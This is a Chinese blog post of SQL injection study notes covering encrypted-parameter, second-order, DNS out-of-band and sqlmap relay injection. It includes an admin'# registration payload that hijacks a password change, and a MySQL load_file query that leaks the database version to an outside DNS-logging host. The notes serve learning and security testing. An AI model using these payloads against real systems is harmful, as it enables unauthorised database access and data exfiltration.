7-二次、加解密、DNS等注入

加解密注入

  • 其实就是数据被加密了,注入的时候要先把注入语句进行相应加密再注入,只是叠加了一次加密而已

二次注入

  • 二次注入一般用于白盒测试,黑盒测试就算是找到注入也没办法攻击
  • 二次注入无法通过工具或手工发现,只能观察源代码才能发现
  • 一般产生在有数据互联的情况,比如有登录+注册+修改密码

二次注入原理

  • 第一步:插入恶意数据
    • 第一次进行数据库插入数据的时候仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容
  • 第二步:引入二次注入
    • 在将数据存入数据库后,开发者就认为数据是可信的,在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和梳理,这样就会造成sql的二次注入
  • 即通过插入数据修改源代码

示例解释

  • 例如账号密码注册中账号注册为admin'#
  • 在修改密码的时候更新语句updata tb_name set password=xxxxxx where username='admin'#'
  • 这个时候由于注释符#后面的语句就会被注释掉,导致更改密码的时候更改了admin的密码而不是admin'#的密码

长度限制

  • 如果是前端(html)限制改数据包就行

DNS注入

mysql> select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.eii0i8.ceye.io\\abc'))),1,0);

中转注入

  • --tamper
  • 例如让sqlmap攻击本地的一个网页,然后脚本get获得参数,将参数加密后拼接到域名后,通过file_get_contents(url)(将网站内容转为字符串)得到执行注入语句后的网页信息,然后将信息输出
posted @ 2025-03-27 21:58  micryfotctf  阅读(23)  评论(0)    收藏  举报